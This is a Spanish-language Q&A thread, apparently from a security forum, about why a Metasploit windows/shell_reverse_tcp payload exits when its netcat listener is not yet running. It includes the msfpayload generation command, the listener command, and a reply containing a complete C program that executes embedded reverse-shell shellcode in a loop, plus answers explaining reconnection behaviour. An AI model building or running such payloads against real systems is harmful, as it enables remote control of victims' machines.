windows / shell_reverse_tcp exploit no funciona si la escucha aún no se está ejecutando

4

Estoy usando Metasploit para generar un exploit shell_reverse_tcp usando el siguiente comando:

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.171 x > exploit.exe

En el lado del oyente estoy usando netcat.

Todo es perfecto y si ejecuto el escucha primero (nc -l -p 4444) y abro el exploit.exe después de eso. Pero si mi escucha no se está ejecutando y ejecuto el exploit.exe, se inicia y sale de inmediato. Por lo tanto, si ejecuto primero el exploit.exe y luego inicio la escucha, no funcionará. También probé ReverseConnectRetries, pero esto tampoco funciona.

Entonces, ¿cuál es el problema? Gracias por cualquier respuesta.

    
pregunta localhost 23.02.2016 - 11:10
fuente

4 respuestas

1
  

Si ejecuto exploit.exe primero y luego el oyente, entonces no funciona

Por supuesto que no, y eso es lo que significa reverse_tcp . La carga útil es reverse_tcp shell, iniciará una conexión de la víctima a la máquina del atacante , por lo que el oyente debe estar en funcionamiento para aceptar la conexión.

    
respondido por el Emadeddin 31.08.2016 - 09:26
fuente
0

Supongo que la pregunta es: ¿este único (tipo de carga útil) volverá a intentar y esperará una conexión?

Cuando observa el archivo shell_reverse_tcp.rb en su framework- # (busque en modules / payloads / singles / windows) no indica que deba haber un reintento de conexión. Sin embargo, si observa el stager reverse_tcp.rb (modules / payloads / stagers / windows) hay un valor de 'ReverseConnectionRetries' para establecer. Sé que esta no es una respuesta sólida, pero los sencillos son más simples y más pequeños que las combinaciones de Etapas / Etapas, por lo que es válido suponer que no hay capacidad de reconexión, incluso con MSFVenom.

    
respondido por el RLFP 23.02.2016 - 14:05
fuente
0

Estoy tratando de encontrar la alternativa para este problema. Así que creé el código de shell en lugar de ejecutable y lo puse en un programa c. Ahora estoy tratando de poner este código en un bucle infinito, pero esto tampoco funciona. Si el oyente no se está ejecutando, entonces el programa existe de inmediato. No soy un programador experto en c, así que, corrígame si estoy haciendo algo mal. Estoy usando gcc para compilar este código.

/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=5678, RHOST=, PrependMigrate=false, 
 * EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
 */
#include <windows.h>
unsigned char buf[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\xc0\xa8\x01\x07\x68\x02\x00\x02\x2b\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
/* Launch the meterpreter shellcode */
void main()
 {
    /* Declare pointer on function */
    int (*func) ();
    /* Cast shellcode into function */
    while(1){
        func = (int (*) ()) buf;
        /* Call function (Execute shellcode) */
        (int) (*func) ();
        sleep(1000);
    }
}                                
    
respondido por el localhost 03.03.2016 - 21:33
fuente
0

Por lo que sé, msfvenom también admite un tipo "service exe", tal vez eso intente automáticamente una reconexión (no sé). De lo contrario, creo que lo que estás pidiendo está simplemente fuera de alcance. Como lo señalan otras respuestas de diseño, la carcasa inversa desea conectarse a un oyente que ya está funcionando. Si necesita un comportamiento diferente, la mejor opción para usted es buscar el código C de la shell inversa, cambiarlo y compilarlo por su cuenta.

    
respondido por el kaidentity 31.08.2016 - 13:07
fuente

Lea otras preguntas en las etiquetas